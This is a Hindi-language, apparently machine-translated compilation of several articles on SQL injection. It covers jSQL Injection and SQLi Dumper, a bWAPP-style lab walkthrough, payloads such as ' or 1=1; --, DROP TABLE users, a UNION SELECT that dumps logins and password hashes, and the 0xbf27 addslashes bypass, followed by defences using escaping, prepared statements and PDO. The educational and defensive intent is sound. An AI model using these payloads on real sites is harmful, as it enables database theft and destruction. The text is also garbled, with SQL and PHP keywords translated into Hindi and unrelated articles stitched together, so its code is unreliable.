wget https://github.com/`curl -s https://github.com/ron190/jsql-injection/releases| grep-E -o "/ron190/jsql-injection/releases/download/v(1,2).(1,2)/jsql-injection-v(1,2).(1,2).jar"| हेड-एन 1`

java -jar ./jsql-injection-v*.jar कमांड का उपयोग करके लॉन्च करें

SQL कमजोरियों के लिए किसी साइट की जाँच शुरू करने के लिए, आपको शीर्ष फ़ील्ड में उसका पता दर्ज करना होगा। वे GET और POST के लिए अलग-अलग हैं। यदि परिणाम सकारात्मक है, तो उपलब्ध तालिकाओं की एक सूची बाईं विंडो में दिखाई देगी। आप उन्हें देख सकते हैं और कुछ गोपनीय जानकारी प्राप्त कर सकते हैं।

प्रशासनिक पैनल खोजने के लिए, "व्यवस्थापक पृष्ठ" टैब का उपयोग करें। यह स्वचालित रूप से विशेष टेम्पलेट्स का उपयोग करके विशेषाधिकार प्राप्त उपयोगकर्ताओं के सिस्टम रिकॉर्ड की खोज करता है। उनसे आप केवल पासवर्ड हैश प्राप्त कर सकते हैं। लेकिन यह प्रोग्राम टूल्स में भी उपलब्ध है।

सभी कमजोरियों का पता लगाने और आवश्यक अनुरोधों को इंजेक्ट करने के बाद, उपयोगिता आपको अपनी फ़ाइल को सर्वर पर अपलोड करने या, इसके विपरीत, इसे वहां से डाउनलोड करने की अनुमति देगी।

SQLi डम्पर v.7

यह प्रोग्राम SQL में कमजोरियों को खोजने और लागू करने के लिए उपयोग में आसान उपकरण है। संयुक्त राष्ट्र तथाकथित डॉर्क के आधार पर इसका उत्पादन करता है। उनकी सूचियाँ इंटरनेट पर पाई जा सकती हैं। SQL इंजेक्शन कीवर्ड विशेष खोज क्वेरी पैटर्न हैं। उनकी मदद से आप संभावित रूप से उन्हें किसी भी खोज इंजन के माध्यम से ढूंढ सकते हैं।

प्रशिक्षण उपकरण

साइट itsecgames.com में उपकरणों का एक विशेष सेट है जो आपको SQL इंजेक्शन बनाने और उसका परीक्षण करने का तरीका दिखाने के लिए उदाहरणों का उपयोग करने की अनुमति देता है। इसका उपयोग करने के लिए आपको इसे डाउनलोड और इंस्टॉल करना होगा। संग्रह में फ़ाइलों का एक सेट है जो साइट की संरचना का प्रतिनिधित्व करता है। इसे स्थापित करने के लिए, आपको सिस्टम में उपलब्ध Apache, MySQL और PHP वेब सर्वर के एक सेट की आवश्यकता होगी।

वेब सर्वर फ़ोल्डर में संग्रह को अनपैक करने के बाद, आपको इस सॉफ़्टवेयर उत्पाद को इंस्टॉल करते समय दर्ज किए गए पते पर जाना होगा। उपयोगकर्ता पंजीकरण पृष्ठ खुल जाएगा। यहां आपको अपना डेटा दर्ज करना होगा और "बनाएं" पर क्लिक करना होगा। उपयोगकर्ता को एक नई विंडो में स्थानांतरित करने के बाद, सिस्टम परीक्षण विकल्पों में से एक का चयन करने की पेशकश करेगा। उनमें वर्णित इंजेक्शन और कई अन्य परीक्षण कार्य शामिल हैं।

GET/Search जैसे SQL इंजेक्शन का एक उदाहरण देखना उचित है। यहां आपको इसे चुनना होगा और "हैक" पर क्लिक करना होगा। उपयोगकर्ता को एक खोज बार और फिल्मों के साथ एक निश्चित साइट की नकल प्रस्तुत की जाएगी। आप लंबे समय तक फिल्में देख सकते हैं। लेकिन उनमें से केवल 10 हैं। उदाहरण के लिए, आप आयरन मैन में प्रवेश करने का प्रयास कर सकते हैं। फिल्म प्रदर्शित की जाएगी, जिसका अर्थ है कि साइट काम कर रही है और इसमें टेबल हैं। अब हमें यह जांचने की आवश्यकता है कि क्या स्क्रिप्ट विशेष वर्णों, विशेष रूप से उद्धरण को फ़िल्टर करती है। ऐसा करने के लिए, आपको पता बार में "" जोड़ना होगा। इसके अलावा, यह फिल्म के नाम के बाद किया जाना चाहिए। साइट त्रुटि प्रदर्शित करेगी त्रुटि: आपके SQL सिंटैक्स में कोई त्रुटि है; संबंधित मैनुअल की जांच करें लाइन 1 पर "%"" के पास उपयोग करने के लिए सही सिंटैक्स के लिए अपने MySQL सर्वर संस्करण पर जाएं, जो इंगित करता है कि वर्ण अभी भी गलत तरीके से संसाधित किए जा रहे हैं। इसका मतलब है कि आप अपने अनुरोध को प्रतिस्थापित करने का प्रयास कर सकते हैं। लेकिन आपको पहले फ़ील्ड की संख्या की गणना करने की आवश्यकता है। ऐसा करने के लिए, ऑर्डर बाय का उपयोग करें, जो उद्धरण के बाद दर्ज किया गया है: http://testsites.com/sqli_1.php?title=Iron+Man' order by 2 --&action=search।

यह कमांड केवल मूवी के बारे में जानकारी प्रदर्शित करेगा, अर्थात, फ़ील्ड की संख्या 2 से अधिक है। डबल हाइफ़न सर्वर को बताता है कि अन्य अनुरोधों को छोड़ दिया जाना चाहिए। अब आपको त्रुटि प्रदर्शित होने तक बड़े मानों को प्रतिस्थापित करते हुए पुनरावृत्त करने की आवश्यकता है। परिणामस्वरूप, यह पता चलता है कि 7 फ़ील्ड होंगे।

अब डेटाबेस से कुछ उपयोगी प्राप्त करने का समय आ गया है। आपको एड्रेस बार में अनुरोध को थोड़ा संशोधित करना होगा, इसे इस फॉर्म में लाना होगा: http://testsites.com/sqli_1.php?title=Iron+Man" यूनियन चयन 1, डेटाबेस(),उपयोगकर्ता(),4 ,पासवर्ड,6,7 उपयोगकर्ताओं से --&क्रिया=खोज। इसके निष्पादन के परिणामस्वरूप, पासवर्ड हैश वाली पंक्तियाँ प्रदर्शित की जाएंगी, जिन्हें ऑनलाइन सेवाओं में से किसी एक का उपयोग करके आसानी से समझने योग्य वर्णों में परिवर्तित किया जा सकता है। और थोड़े से जादू के साथ और लॉगिन फ़ील्ड का नाम चुनकर, आप किसी और के रिकॉर्ड तक पहुंच प्राप्त कर सकते हैं, उदाहरण के लिए, साइट व्यवस्थापक।

उत्पाद में अभ्यास के लिए ढेर सारे विभिन्न प्रकार के इंजेक्शन हैं। यह याद रखने योग्य है कि इन कौशलों का ऑनलाइन या वास्तविक साइटों पर उपयोग करना आपराधिक रूप से दंडनीय हो सकता है।

इंजेक्शन और PHP

एक नियम के रूप में, यह PHP कोड है जो उपयोगकर्ता से आने वाले अनुरोधों के आवश्यक प्रसंस्करण के लिए जिम्मेदार है। इसलिए, इस स्तर पर आपको PHP में SQL इंजेक्शन के विरुद्ध सुरक्षा बनाने की आवश्यकता है।

  • डेटाबेस में संग्रहीत होने से पहले डेटा को हमेशा संसाधित किया जाना चाहिए। इसे मौजूदा अभिव्यक्तियों का उपयोग करके या मैन्युअल रूप से प्रश्नों को व्यवस्थित करके प्राप्त किया जा सकता है। यहां भी, यह विचार करने योग्य है कि संख्यात्मक मानों को उस प्रकार में परिवर्तित किया जाता है जिसकी आवश्यकता होती है;
  • अनुरोध में विभिन्न नियंत्रण संरचनाओं की उपस्थिति से बचें।

अब SQL इंजेक्शन से सुरक्षा के लिए MySQL में क्वेरीज़ लिखने के नियमों के बारे में थोड़ा।

कोई भी क्वेरी अभिव्यक्ति लिखते समय, डेटा को SQL कीवर्ड से अलग करना महत्वपूर्ण है।

  • चयन करें * तालिका से जहां नाम = ज़र्ग।

इस डिज़ाइन में, सिस्टम सोच सकता है कि ज़र्ग एक फ़ील्ड का नाम है, इसलिए इसे उद्धरण चिह्नों में संलग्न करने की आवश्यकता है।

  • उस तालिका से चुनें * जहाँ नाम = "ज़र्ग"।

हालाँकि, ऐसी स्थितियाँ होती हैं जहाँ मूल्य में ही उद्धरण होते हैं।

  • तालिका से चुनें * जहाँ नाम = "आइवरी कोस्ट"।

यहां कैट-डी का केवल एक हिस्सा संसाधित किया जाएगा, और बाकी को एक कमांड के रूप में माना जा सकता है, जो निश्चित रूप से मौजूद नहीं है। इसलिए त्रुटि उत्पन्न होगी. इसका मतलब है कि इस तरह के डेटा की जांच की जानी चाहिए। ऐसा करने के लिए, बैकस्लैश - \ का उपयोग करें।

  • तालिका से चुनें * जहाँ नाम = "आइवरी कोस्ट"।

उपरोक्त सभी बातें स्ट्रिंग्स पर लागू होती हैं। यदि क्रिया किसी संख्या के साथ होती है, तो उसे किसी उद्धरण या स्लैश की आवश्यकता नहीं होती है। हालाँकि, उन्हें आवश्यक डेटा प्रकार में परिवर्तित करने के लिए बाध्य किया जाना चाहिए।

एक सिफ़ारिश है कि फ़ील्ड नाम को बैककोट में संलग्न किया जाना चाहिए। यह प्रतीक टिल्ड "~" चिह्न के साथ, कीबोर्ड के बाईं ओर स्थित है। यह आवश्यक है ताकि MySQL फ़ील्ड नाम को उसके कीवर्ड से सटीक रूप से अलग कर सके।

डेटा के साथ गतिशील कार्य

अक्सर, डेटाबेस से कोई भी डेटा प्राप्त करने के लिए गतिशील रूप से उत्पन्न क्वेरीज़ का उपयोग किया जाता है। उदाहरण के लिए:

  • * तालिका से चुनें जहां संख्या = "$संख्या"।

यहां वेरिएबल $number को फ़ील्ड मान की परिभाषा के रूप में पारित किया गया है। यदि आइवरी कोस्ट इसमें समा गया तो क्या होगा? त्रुटि।

बेशक, आप सेटिंग्स में "मैजिक कोट्स" को चालू करके इस परेशानी से बच सकते हैं। लेकिन अब डेटा की स्क्रीनिंग की जाएगी कि कहां जरूरी है और कहां जरूरी नहीं है. इसके अलावा, यदि कोड हाथ से लिखा गया है, तो आप स्वयं हैक-प्रतिरोधी प्रणाली बनाने में थोड़ा अधिक समय व्यतीत कर सकते हैं।

स्वयं एक स्लैश जोड़ने के लिए, आप mysql_real_escape_string का उपयोग कर सकते हैं।

$संख्या=mysql_real_escape_string($संख्या);

$वर्ष=mysql_real_escape_string($वर्ष);

$query='तालिका (संख्या,वर्ष,वर्ग) में सम्मिलित करें मान ("$संख्या','$वर्ष',11)"।

हालाँकि कोड की मात्रा बढ़ गई है, फिर भी यह संभावित रूप से अधिक सुरक्षित रूप से काम करेगा।

प्लेसहोल्डर

प्लेसहोल्डर अद्वितीय मार्कर होते हैं जिनके द्वारा सिस्टम को पता चलता है कि इस स्थान पर एक विशेष फ़ंक्शन डालने की आवश्यकता है। उदाहरण के लिए:

$sate = $mysqli->तैयार करें ("नंबर से जिला चुनें जहां नाम =?");

$sate->bind_param('s', $number);

$sate->निष्पादित();

कोड का यह अनुभाग एक अनुरोध टेम्पलेट तैयार करता है, फिर संख्या चर को बांधता है, और इसे निष्पादित करता है। यह दृष्टिकोण आपको अनुरोध प्रसंस्करण और उसके कार्यान्वयन को अलग करने की अनुमति देता है। इस तरह, आप SQL क्वेरी में दुर्भावनापूर्ण कोड इंजेक्शन का उपयोग करने से स्वयं को सुरक्षित रख सकते हैं।

एक हमलावर क्या कर सकता है?

सिस्टम सुरक्षा एक बहुत ही महत्वपूर्ण कारक है जिसे उपेक्षित नहीं किया जा सकता है। बेशक, एक साधारण बिजनेस कार्ड वेबसाइट को पुनर्स्थापित करना आसान होगा। यदि यह एक बड़ा पोर्टल, सेवा, मंच है तो क्या होगा? यदि आप सुरक्षा के बारे में नहीं सोचते हैं तो इसके क्या परिणाम हो सकते हैं?

सबसे पहले, एक हैकर डेटाबेस की अखंडता का उल्लंघन कर सकता है और इसे पूरी तरह से हटा सकता है। और यदि साइट व्यवस्थापक या होस्टर ने बैकअप नहीं बनाया, तो यह कठिन होगा। इसके अलावा, एक हमलावर, एक साइट को हैक करके, उसी सर्वर पर होस्ट की गई अन्य साइटों पर जा सकता है।

इसके बाद आगंतुकों के व्यक्तिगत डेटा की चोरी आती है। उनका उपयोग कैसे किया जाए यह केवल हैकर की कल्पना तक ही सीमित है। लेकिन किसी भी मामले में, परिणाम बहुत सुखद नहीं होंगे। विशेषकर यदि उसमें वित्तीय जानकारी हो।

कोई हमलावर डेटाबेस को स्वयं भी लीक कर सकता है और फिर उसे वापस करने के लिए पैसे की उगाही कर सकता है।

किसी ऐसे व्यक्ति की ओर से उपयोगकर्ताओं की गलत जानकारी, जो उनका नहीं है, के भी नकारात्मक परिणाम हो सकते हैं, क्योंकि धोखाधड़ी के मामले संभव हैं।

निष्कर्ष

इस लेख में सभी जानकारी केवल सूचनात्मक उद्देश्यों के लिए प्रदान की गई है। आपको इसका उपयोग केवल अपनी परियोजनाओं के परीक्षण के लिए करना चाहिए, जब कमजोरियों की पहचान करनी चाहिए और उन्हें दूर करना चाहिए।

SQL इंजेक्शन कैसे करें इसकी कार्यप्रणाली के अधिक गहन अध्ययन के लिए, आपको वास्तव में SQL भाषा की क्षमताओं और विशेषताओं पर शोध करके शुरुआत करनी होगी। क्वेरीज़ कैसे बनाई जाती हैं, कीवर्ड, डेटा प्रकार और इन सबका अनुप्रयोग।

आप यह समझे बिना नहीं रह सकते कि PHP फ़ंक्शन और HTML तत्व कैसे काम करते हैं। इंजेक्शन का उपयोग करने के लिए मुख्य कमजोर बिंदु पता बार, खोज और विभिन्न फ़ील्ड हैं। PHP फ़ंक्शंस का अध्ययन, उन्हें कैसे कार्यान्वित किया जाता है और उनकी क्षमताएं आपको यह समझने में मदद करेंगी कि आप गलतियों से कैसे बच सकते हैं।

कई तैयार सॉफ़्टवेयर टूल की उपस्थिति आपको ज्ञात कमजोरियों के लिए साइट का गहन विश्लेषण करने की अनुमति देती है। सबसे लोकप्रिय उत्पादों में से एक काली लिनक्स है। यह लिनक्स-आधारित ऑपरेटिंग सिस्टम की एक छवि है, जिसमें बड़ी संख्या में उपयोगिताएँ और प्रोग्राम शामिल हैं जो ताकत के लिए साइट का व्यापक विश्लेषण कर सकते हैं।

आपको यह जानने की आवश्यकता क्यों है कि किसी वेबसाइट को कैसे हैक किया जाए? सब कुछ बहुत सरल है - आपके प्रोजेक्ट या वेबसाइट के संभावित कमजोर क्षेत्रों का अंदाजा लगाने के लिए यह आवश्यक है। विशेष रूप से यदि यह ऑनलाइन भुगतान करने की क्षमता वाला एक ऑनलाइन स्टोर है, जहां उपयोगकर्ता के भुगतान डेटा से किसी हमलावर द्वारा समझौता किया जा सकता है।

पेशेवर शोध के लिए सूचना सुरक्षा सेवाएँ विभिन्न मानदंडों और गहराई के अनुसार साइट की जाँच कर सकेंगी। सरल HTML इंजेक्शन से लेकर सोशल इंजीनियरिंग और फ़िशिंग तक।

हम कामना करते हैं कि आप इसे पूरा करने में सफल हों। आपके पारित होने के परिणाम बाद में प्रकाशित किए जाएंगे (सोशल नेटवर्क पर समाचार का पालन करें), और जो लोग उत्तीर्ण हुए हैं उन्हें भी भेजा जाएगा आमंत्रित करनासाइट पर पंजीकरण करने के लिए.

लाइक करें, दोस्तों और सहकर्मियों के साथ साझा करें, सोशल नेटवर्क पर दोबारा पोस्ट करें।

सभी प्रोग्रामर ने वेबसाइट सुरक्षा को हैक करने के तरीकों के बारे में पढ़ा है या कम से कम सुना है। या फिर इस समस्या का सामना भी करना पड़ा. दूसरी ओर, जो लोग साइट को तोड़ना चाहते हैं उनकी कल्पना अनंत है, इसलिए सभी बाधाओं को अच्छी तरह से संरक्षित किया जाना चाहिए। इसलिए मैं छोटे लेखों की एक श्रृंखला शुरू करना चाहूंगा जो बुनियादी वेबसाइट हैकिंग विधियों और तकनीकों का परिचय देगा।

पहले लेख में, मैं साइट के सबसे कमजोर हिस्सों में से एक - फॉर्म को हैक करने के कुछ सामान्य तरीकों का वर्णन और व्याख्या करना चाहूंगा। मैं इन तकनीकों का उपयोग कैसे करें और हमलों को कैसे रोकें, साथ ही सुरक्षा परीक्षण को भी कवर करने के बारे में विस्तार से बताऊंगा।

एसक्यूएल इंजेक्षन

एसक्यूएल इंजेक्शन एक ऐसी तकनीक है जहां एक हमलावर वेब पेज पर इनपुट फ़ील्ड में एसक्यूएल कमांड दर्ज करता है। यह इनपुट कुछ भी हो सकता है - एक फॉर्म में एक टेक्स्ट फ़ील्ड, _GET और _POST पैरामीटर, कुकीज़, आदि। PHP दुनिया में फ्रेमवर्क के आगमन से पहले यह विधि बहुत प्रभावी थी। लेकिन यह हैक तब भी खतरनाक हो सकता है यदि आप डेटा ऑब्जेक्ट में ORM या किसी अन्य एक्सटेंशन का उपयोग नहीं करते हैं। क्यों? SQL क्वेरी में पैरामीटर पास करने के तरीके के कारण।

"अंधा" इंजेक्शन

आइए SQL स्टेटमेंट के एक क्लासिक उदाहरण से शुरुआत करें जो उपयोगकर्ता को उसके लॉगिन और पासवर्ड हैश (लॉगिन पेज) द्वारा लौटाता है।

उदाहरण 1

mysql_query ("आईडी चुनें, उन उपयोगकर्ताओं से लॉगिन करें जहां लॉगिन = ? और पासवर्ड = हैश(?)");

इस समाधान की विभिन्न विविधताओं के कारण मैंने अभिव्यक्ति में प्रश्नचिह्न लगा दिया है। मेरी राय में, पहला विकल्प सबसे असुरक्षित है:

उदाहरण 1ए

Mysql_query("आईडी चुनें, उपयोगकर्ताओं से लॉगिन करें जहां लॉगिन = "" . $लॉगिन . "" और पासवर्ड = हैश("" . $पासवर्ड . "")");

इस स्थिति में, कोड अमान्य डेटा इनपुट की जाँच नहीं करता है। मान सीधे इनपुट फॉर्म से SQL क्वेरी में पास किए जाते हैं। सर्वोत्तम स्थिति में, उपयोगकर्ता यहां अपना उपयोगकर्ता नाम और पासवर्ड दर्ज करेगा। सबसे खराब स्थिति क्या है? आइए इस फॉर्म को हैक करने का प्रयास करें। यह "तैयार" डेटा पास करके किया जा सकता है। आइए डेटाबेस से पहले उपयोगकर्ता के रूप में लॉग इन करने का प्रयास करें, और ज्यादातर मामलों में यह व्यवस्थापक खाता है। ऐसा करने के लिए, हम लॉगिन दर्ज करने के बजाय एक विशेष स्ट्रिंग पास करेंगे:

"या 1=1; --

पहला उद्धरण एकल उद्धरण भी हो सकता है, इसलिए हैकिंग का एक प्रयास पर्याप्त नहीं हो सकता है। अंत में एक अर्धविराम और दो हाइफ़न हैं ताकि बाद में आने वाली हर चीज़ एक टिप्पणी में बदल जाए। परिणामस्वरूप, निम्नलिखित SQL क्वेरी निष्पादित की जाएगी:

आईडी चुनें, उपयोगकर्ताओं से लॉगिन करें जहां लॉगिन = “;” या 1=1 सीमा 0.1; - और पासवर्ड = हैश (";कुछ पासवर्ड")

यह डेटाबेस से पहला उपयोगकर्ता लौटाएगा और संभवतः उस उपयोगकर्ता के रूप में एप्लिकेशन में लॉग इन करेगा। प्रत्येक व्यक्तिगत उपयोगकर्ता के रूप में लॉग इन करने के लिए LIMIT जोड़ना एक अच्छा कदम होगा। प्रत्येक मूल्य से गुजरने के लिए यही एकमात्र चीज आवश्यक है।

अधिक गंभीर तरीके

पिछले उदाहरण में, सब कुछ इतना डरावना नहीं है। व्यवस्थापक नियंत्रण कक्ष में विकल्प हमेशा सीमित होते हैं और साइट को वास्तव में तोड़ने में बहुत काम करना होगा। लेकिन SQL इंजेक्शन के माध्यम से किए गए हमले से सिस्टम को बहुत अधिक नुकसान हो सकता है। इस बारे में सोचें कि मुख्य तालिका "उपयोगकर्ता" के साथ कितने एप्लिकेशन बनाए गए हैं और यदि कोई हमलावर असुरक्षित रूप में इस तरह का कोड दर्ज करता है तो क्या होगा:

मेरा पसंदीदा लॉगिन"; ड्रॉप टेबल उपयोगकर्ता; --

"उपयोगकर्ता" तालिका हटा दी जाएगी. डेटाबेस बैकअप अधिक बार बनाने का यह एक कारण है।

_पैरामीटर प्राप्त करें

फॉर्म के माध्यम से भरे गए सभी पैरामीटर दो तरीकों में से एक का उपयोग करके सर्वर पर प्रेषित किए जाते हैं - GET या POST। GET के माध्यम से पारित सबसे आम पैरामीटर आईडी है। यह हमलों के लिए सबसे संवेदनशील स्थानों में से एक है, और इससे कोई फर्क नहीं पड़ता कि आप किस प्रकार के यूआरएल का उपयोग करते हैं - ` http://example.com/ उपयोगकर्ता/?आईडी=1`, या ` http://example.com/ उपयोगकर्ता/1`, या ` http://......./.../ डाक/35 `.

यदि हम URL में निम्नलिखित कोड डालें तो क्या होगा?

Http://example.com/users/?id=1 और 1=0 यूनियन उपयोगकर्ताओं से 1,concat(लॉगिन,पासवर्ड), 3,4,5,6 चुनें जहां आईडी =1; --

संभवतः, ऐसा अनुरोध उपयोगकर्ता का लॉगिन और... उसके पासवर्ड का हैश लौटा देगा। अनुरोध का पहला भाग `AND 1=0` उसके पहले वाले को गलत में बदल देता है, इसलिए कोई रिकॉर्ड प्राप्त नहीं होगा। और अनुरोध का दूसरा भाग तैयार डेटा के रूप में डेटा लौटाएगा। और चूंकि पहला पैरामीटर आईडी है, अगला पैरामीटर उपयोगकर्ता का लॉगिन और उसके पासवर्ड का हैश और कुछ अन्य पैरामीटर होगा। ऐसे कई प्रोग्राम हैं जो उदाहरण में दिए गए उदाहरण की तरह पासवर्ड को डिकोड करने के लिए क्रूर बल का उपयोग करते हैं। और चूंकि उपयोगकर्ता विभिन्न सेवाओं के लिए एक ही पासवर्ड का उपयोग कर सकता है, इसलिए उन तक पहुंच प्राप्त करना संभव है।

और यहाँ दिलचस्प बात यह है: `mysql_real_escape_string`, `addslashes`, आदि जैसे तरीकों का उपयोग करके इस प्रकार के हमले से बचाव करना पूरी तरह से असंभव है। डी. मूलतः, ऐसे हमले से बचने का कोई रास्ता नहीं है, इसलिए यदि पैरामीटर इस प्रकार पारित किए जाते हैं:

"उपयोगकर्ताओं से आईडी, लॉगिन, ईमेल, पैरामीटर1 चुनें जहां आईडी = "। addlashes($_GET["id"]);"

समस्याएं दूर नहीं होंगी.

एक स्ट्रिंग में वर्णों से बचना

जब मैं प्रोग्रामिंग में नया था, तो मुझे एन्कोडिंग के साथ काम करने में कठिनाई होती थी। मुझे समझ नहीं आया कि उनके बीच क्या अंतर था, जब आपको यूटीएफ-16 की आवश्यकता है तो यूटीएफ-8 का उपयोग क्यों करें, डेटाबेस हमेशा एन्कोडिंग को लैटिन1 पर क्यों सेट करता है। जब मैंने अंततः यह सब समझना शुरू किया, तो मुझे पता चला कि अगर मैं सब कुछ एक कोडिंग मानक में रखूं तो कम समस्याएं होंगी। यह सब सुलझाते समय, मैंने उन सुरक्षा समस्याओं पर भी ध्यान दिया जो एक एन्कोडिंग से दूसरे एन्कोडिंग में परिवर्तित होने पर उत्पन्न होती हैं।

प्रश्नों में सिंगल कोट्स का उपयोग करके पिछले अधिकांश उदाहरणों में वर्णित समस्याओं से बचा जा सकता है। यदि आप addlashes() का उपयोग करते हैं, तो SQL इंजेक्शन हमले जो बैकस्लैश से निकले एकल उद्धरणों पर निर्भर होते हैं, विफल हो जाएंगे। लेकिन ऐसा हमला काम कर सकता है यदि आप किसी वर्ण को कोड 0xbf27 से प्रतिस्थापित करते हैं, addlashes() इसे कोड 0xbf5c27 वाले वर्ण में परिवर्तित करता है - और यह पूरी तरह से वैध एकल उद्धरण वर्ण है। दूसरे शब्दों में, `뼧` addlashes() से गुजरेगा और फिर MySQL मैपिंग इसे दो अक्षरों 0xbf (¿) और 0x27 (') में बदल देगी।

"चुनें * उन उपयोगकर्ताओं से जहां लॉगिन = ""; . addlashes($_GET["लॉगिन"]) . ";"";

इस उदाहरण को 뼧 या 1=1 पास करके हैक किया जा सकता है; - फॉर्म में लॉगिन फ़ील्ड में। SQL इंजन इस प्रकार अंतिम क्वेरी उत्पन्न करेगा:

उन उपयोगकर्ताओं से चयन करें जहां लॉगिन = "¿" या 1=1; --

और यह डेटाबेस से पहला उपयोगकर्ता लौटाएगा।

सुरक्षा

एप्लिकेशन की सुरक्षा कैसे करें? ऐसी बहुत सी विधियाँ हैं, जिनके उपयोग से एप्लिकेशन पूरी तरह से अजेय नहीं बनेगी, लेकिन कम से कम उसकी सुरक्षा बढ़ जाएगी।

Mysql_real_escape_string का उपयोग करना

Addlashes() फ़ंक्शन अविश्वसनीय है क्योंकि यह कई हैकिंग मामलों की अनुमति नहीं देता है। mysql_real_escape_string में ऐसी कोई समस्या नहीं है

MySQLi का उपयोग करना

यह MySQL एक्सटेंशन संबंधित मापदंडों के साथ काम कर सकता है:

$stmt = $db->तैयार करें ("यूएटीएस सेट पैरामीटर को अपडेट करें = ? जहां आईडी =?"); $stmt->bind_param('si', $name, $id); $stmt->निष्पादित करें();

पीडीओ का उपयोग करना

मापदंडों को प्रतिस्थापित करने का लंबा रास्ता:

$dbh = नया PDO('mysql:dbname=testdb;host=127.0.0.1', $user, $password); $stmt = $dbh->तैयार करें ("रजिस्ट्री में डालें (नाम, मान) मान (:नाम,:मान)"); $stmt->bindParam(':name', $name); $stmt->bindParam('':value'', $value); // एक पंक्ति डालें $नाम = "एक"; $मूल्य = 1; $stmt->निष्पादित करें();

छोटा रास्ता:

$dbh = नया PDO('mysql:dbname=testdb;host=127.0.0.1', $user, $password); $stmt = $dbh->तैयार करें ("लोगों को अपडेट करें नाम सेट करें = :new_name जहां आईडी = :आईडी"); $stmt->निष्पादित करें(सरणी("new_name" => $नाम, "id" => $id));

ओआरएम का उपयोग करना

ओआरएम और पीडीओ का उपयोग करें और बाइंड (बाइंड का उपयोग करें) पैरामीटर का उपयोग करें। अपने कोड में SQL से बचें, यदि आप अपने कोड में SQL देखते हैं तो इसमें कुछ गड़बड़ है।

ओआरएम कोड और पैरामीटर सत्यापन में आने वाली बाधाओं में सुरक्षा का ख्याल रखेगा।

निष्कर्ष

इस श्रृंखला का उद्देश्य हैकिंग वेबसाइटों के लिए संपूर्ण मार्गदर्शिका प्रदान करना नहीं है, बल्कि एप्लिकेशन सुरक्षा सुनिश्चित करना और किसी भी स्रोत से हमलों को रोकना है। मैंने यह लेख न केवल प्रोग्रामर के लिए लिखने की कोशिश की - उन्हें कोड में किसी भी खतरे के बारे में पता होना चाहिए और उन्हें रोकने का तरीका पता होना चाहिए, बल्कि गुणवत्ता इंजीनियरों के लिए भी - क्योंकि उनका काम ऐसे मुद्दों को ट्रैक करना और रिपोर्ट करना है।

SQL इंजेक्शन का सार

आपने शायद इंटरनेट से यह चुटकुला पहले ही सुना होगा: " यह सभी ड्राइंग पाठों में समान क्यों है: उदाहरण के लिए, उल्लू का चित्र बनाने पर एक पाठ। सबसे पहले, हम आधे घंटे तक उल्लू की आंख का विस्तार से चित्रण करते हैं। और फिर - एक बार - पांच मिनट में - हम उल्लू के बाकी हिस्सों को खींचते हैं».

इसके बारे में एक चित्र भी है:

एसक्यूएल इंजेक्शन पर बहुत सारी सामग्री है: लेख, किताबें, वीडियो पाठ्यक्रम (भुगतान और मुफ्त)। हालाँकि, उनमें से बहुत से लोग इस मुद्दे पर समझ नहीं जोड़ते हैं। खासकर यदि आप नौसिखिया हैं। मुझे अपनी भावनाएँ अच्छी तरह याद हैं: यहाँ चक्र है, यहाँ उल्लू का बाकी हिस्सा है...

इस नोट का उद्देश्य एक सामान्य, सरल स्पष्टीकरण देने के लिए उल्लू की ओर ध्यान आकर्षित करना है, SQL इंजेक्शन क्या हैं, उनका सार क्या है, वे कितने खतरनाक हैं और क्यों.

प्रयोगों के लिए, हमारे पास एक बहुत ही सरल स्क्रिप्ट होगी जो SQL इंजेक्शन के प्रति संवेदनशील है:

बोब्रुइस्क क्षेत्रीय पुस्तकालय तक पहुंचने के लिए, अपनी साख दर्ज करें:

अपना नाम दर्ज करें

अपना कूटशब्द भरें


क्वेरी ("नाम सेट करें UTF8"); $mysqli->क्वेरी('सेट कैरेक्टर सेट UTF8'); $mysqli->क्वेरी('SET कैरेक्टर_सेट_क्लाइंट = UTF8'); $mysqli->क्वेरी('SET कैरेक्टर_सेट_कनेक्शन = UTF8'); $mysqli->क्वेरी('SET कैरेक्टर_सेट_परिणाम = UTF8'); ) $नाम = फ़िल्टर_इनपुट(INPUT_GET, "नाम"); $ पासवर्ड = फ़िल्टर_इनपुट (INPUT_GET, "पासवर्ड"); यदि ($ परिणाम = $ mysqli-> क्वेरी ("चयन करें * `सदस्यों` से जहां नाम = "$ नाम" और पासवर्ड = $ पासवर्ड")) (जबकि ($ obj = $ परिणाम->fetch_object()) ( इको "

आपका नाम:$obj->नाम

तुम्हारी स्थिति:$obj->स्थिति

आपके लिए उपलब्ध पुस्तकें:$obj->किताबें


"; ) ) अन्य ( प्रिंटफ("त्रुटि: %sn", $mysqli->त्रुटि); ) $mysqli->बंद करें(); ?>

यदि तुम सब कुछ मेरे साथ करोगी तो तुम्हें बहुत कुछ समझ आएगा। तो यह यहाँ है. इसमें दो फ़ाइलें हैं: Index.phpऔर db_library.sql. Index.php फ़ाइल को सर्वर पर कहीं भी रखें - यह हमारी असुरक्षित स्क्रिप्ट है। और db_library.sql फ़ाइल को आयात करने की आवश्यकता है, उदाहरण के लिए, phpMyAdmin का उपयोग करके।

Index.php फ़ाइल में, डेटाबेस उपयोगकर्ता नाम रूट पर सेट है और पासवर्ड खाली है। आप पंक्ति को संपादित करके अपना डेटा दर्ज कर सकते हैं:

$mysqli = नया mysqli("लोकलहोस्ट", "रूट", "", "db_library");

किंवदंती के अनुसार, यह बोब्रुइस्क क्षेत्रीय पुस्तकालय के ऑनलाइन संस्करण का एक लॉगिन फॉर्म है। हमें पहले ही प्रमाण पत्र दिए जा चुके हैं: उपयोगकर्ता नाम - डेमो, पासवर्ड - 111.

आइए उन्हें दर्ज करें और देखें:

हमारे परिचय-पत्र स्वीकार कर लिए गए हैं, हमारा नाम, स्थिति और हमारे लिए उपलब्ध पुस्तकें स्क्रीन पर प्रदर्शित की गई हैं। आप कोशिश कर सकते हैं, किसी भी अन्य डेटा के साथ (यदि आप अपना नाम या पासवर्ड बदलते हैं), हम लॉग इन नहीं कर पाएंगे और पढ़ने के लिए उपलब्ध किताबें नहीं देख पाएंगे। हमारे पास यह जानने का कोई तरीका नहीं है कि कौन सी किताबें दूसरों के लिए उपलब्ध हैं क्योंकि हम उनका उपयोगकर्ता नाम और पासवर्ड नहीं जानते हैं।

आइए यह समझने के लिए स्रोत कोड देखें कि डेटाबेस अनुरोध कैसे हुआ:
